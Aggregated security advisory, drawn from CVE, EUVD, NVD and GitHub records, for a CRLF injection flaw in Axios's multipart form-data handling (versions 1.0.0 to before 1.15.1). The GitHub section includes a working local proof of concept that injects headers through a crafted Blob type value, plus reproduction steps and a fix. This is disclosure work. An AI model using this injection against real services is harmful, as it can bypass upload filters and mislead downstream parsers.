Axios: CRLF Injection in multipart/form-data body via unsanitized blob.type in formDataToStream

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Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.15.1, the FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\r\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers. This vulnerability is fixed in 1.15.1.

Source published

24 Apr 2026 17:58:16 UTC

Source modified

27 Apr 2026 17:37:06 UTC

Saved here

23 Oct 2026 15:48:27 UTC

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CVE Program Terms of Use

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CVSS 3.1 · 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.15.1, the FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\r\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers. This vulnerability is fixed in 1.15.1.

Source published

Apr 24, 2026, 5:58:16 PM (timezone not stated)

Source modified

Apr 27, 2026, 5:37:06 PM (timezone not stated)

Saved here

15 Nov 2026 13:03:12 UTC

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ENISA EUVD · source terms and attribution apply

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EUVD CVSS 3.1 · 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.15.1, the FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\r\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers. This vulnerability is fixed in 1.15.1.

Source published

24 Apr 2026 18:16:30 UTC

Source modified

11 Nov 2026 23:10:00 UTC

Saved here

12 Nov 2026 16:19:25 UTC

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NIST NVD usage terms; underlying source attribution retained

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CVSS 3.1 · [email protected] · Secondary · 5.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

### Summary The `FormDataPart` constructor in `lib/helpers/formDataToStream.js` interpolates `value.type` directly into the `Content-Type` header of each multipart part without sanitizing CRLF (`\r\n`) sequences. An attacker who controls the `.type` property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers. ### Details In `lib/helpers/formDataToStream.js` at line 27, when processing a Blob/File-like value, the code builds per-part headers by directly embedding value.type: ``` if (isStringValue) { value = textEncoder.encode(String(value).replace(/\r?\n|\r\n?/g, CRLF)); } else { // value.type is NOT sanitized for CRLF sequences headers += `Content-Type: ${value.type || 'application/octet-stream'}${CRLF}`; } ``` Note that the string path (line above) explicitly sanitizes CRLF, but the binary/blob path does not. This inconsistency confirms the sanitization was intended but missed for `value.type`. ### Attack chain: 1. Attacker uploads a file to a Node.js proxy service, supplying a crafted MIME type containing `\r\n` sequences 2. The proxy appends the file to a FormData and posts it via `axios.post(url, formData)` 3. axios calls `formDataToStream()`, which passes `value.type` unsanitized into the multipart body 4. The downstream server receives a multipart body containing injected per-part headers 5. The server's multipart parser processes the injected headers as legitimate This is reachable via the fully public axios API (`axios.post(url, formData)`) with no special configuration. Additionally, `value.name` used in the `Content-Disposition` construction nearby likely has the same issue and should be audited. ### PoC **Prerequisites**: Node.js 18+, axios (tested on 1.14.0) ``` const http = require('http'); const axios = require('axios'); let receivedBody = ''; const server = http.createServer((req, res) => { let body = ''; req.on('data', chunk => { body += chunk.toString(); }); req.on('end', () => { receivedBody = body; res.writeHead(200); res.end('ok'); }); }); server.listen(0, '127.0.0.1', async () => { const port = server.address().port; class SpecFormData { constructor() { this._entries = []; this[Symbol.toStringTag] = 'FormData'; } append(name, value) { this._entries.push([name, value]); } [Symbol.iterator]() { return this._entries[Symbol.iterator](); } entries() { return this._entries[Symbol.iterator](); } } const fd = new SpecFormData(); fd.append('photo', { type: 'image/jpeg\r\nX-Injected-Header: PWNED-by-attacker\r\nX-Evil: arbitrary-value', size: 16, name: 'photo.jpg', [Symbol.asyncIterator]: async function*() { yield Buffer.from('MALICIOUS PAYLOAD'); } }); await axios.post(`http://127.0.0.1:${port}/upload`, fd); if (receivedBody.includes('X-Injected-Header: PWNED-by-attacker')) { console.log('[VULNERABLE] CRLF injection confirmed in multipart body'); console.log('Received body:\n' + receivedBody); } else { console.log('[NOT_VULNERABLE]'); } server.close(); }); ``` ### Steps to reproduce: 1. npm install axios 2. Save the above as poc_axios_crlf.js 3. Run node poc_axios_crlf.js 4. Observe the output shows [VULNERABLE] with injected headers visible in the multipart body **Expected behavior**: value.type should be sanitized to strip \r\n before interpolation, consistent with the string value path. **Actual behavior**: CRLF sequences in value.type are preserved, allowing arbitrary header injection in multipart parts. ### Impact Any Node.js application that accepts user-provided files (with attacker-controlled MIME types) and re-posts them via axios FormData is affected. This is a common pattern in proxy services, file upload relays, and API gateways. Consequences include: bypassing server-side Content-Type-based upload filters, confusing multipart parsers into misrouting data, injecting phantom form fields if the boundary is known, and exploiting downstream server vulnerabilities that trust per-part headers. axios is one of the most downloaded npm packages, significantly increasing the blast radius of this issue. ### Suggested fix In formDataToStream.js, sanitize value.type before interpolating it into the per-part Content-Type header. Apply the same strategy used for string values (strip/replace \r\n) or use the same escapeName logic. ``` const safeType = (value.type || 'application/octet-stream') .replace(/[\r\n]/g, ''); headers += `Content-Type: ${safeType}${CRLF}`; ```

Source published

5 May 2026 00:40:45 UTC

Source modified

10 Sep 2026 03:50:45 UTC

Saved here

24 Oct 2026 13:17:17 UTC

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GitHub Advisory Database · CC-BY-4.0

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CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Publisher rating · MODERATE